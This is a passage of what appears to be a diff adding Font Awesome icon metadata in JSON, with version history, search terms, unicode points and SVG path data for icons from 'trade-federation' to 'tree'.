0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z" + } + }, + "free": [ + "solid" + ] + }, + "trade-federation": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f513", + "label": "Trade Federation", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722340, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z" + } + }, + "free": [ + "brands" + ] + }, + "trademark": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "copyright", + "register", + "symbol" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f25c", + "label": "Trademark", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635763, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z" + } + }, + "free": [ + "solid" + ] + }, + "traffic-light": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "direction", + "road", + "signal", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f637", + "label": "Traffic Light", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635764, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "trailer": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "carry", + "haul", + "moving", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e041", + "label": "Trailer", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z" + } + }, + "free": [ + "solid" + ] + }, + "train": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bullet", + "commute", + "locomotive", + "railway", + "subway" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f238", + "label": "Train", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z" + } + }, + "free": [ + "solid" + ] + }, + "tram": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "crossing", + "machine", + "mountains", + "seasonal", + "transportation" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7da", + "label": "Tram", + "svg": { + "solid": { + "last_modified": 1628088635765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z" + } + }, + "free": [ + "solid" + ] + }, + "transgender": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "intersex" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f224", + "label": "Transgender", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "transgender-alt": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "intersex" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f225", + "label": "Alternate Transgender", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "trash": { + "changes": [ + "4.2", + "5.0.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "delete", + "garbage", + "hide", + "remove" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1f8", + "label": "Trash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635768, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z" + } + }, + "free": [ + "solid" + ] + }, + "trash-alt": { + "changes": [ + "5.0.0", + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "delete", + "garbage", + "hide", + "remove", + "trash-o" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2ed", + "label": "Alternate Trash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635767, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + }, + "regular": { + "last_modified": 1628088635245, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "trash-restore": { + "changes": [ + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "control z", + "oops", + "undo" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f829", + "label": "Trash Restore", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635768, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "trash-restore-alt": { + "changes": [ + "5.7.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "control z", + "oops", + "undo" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f82a", + "label": "Alternative Trash Restore", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635767, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "tree": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bark", + "fall", + "flora", + "forest", + "nature", + "plant", + "seasonal" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1bb", + "label": "Tree", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635770, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 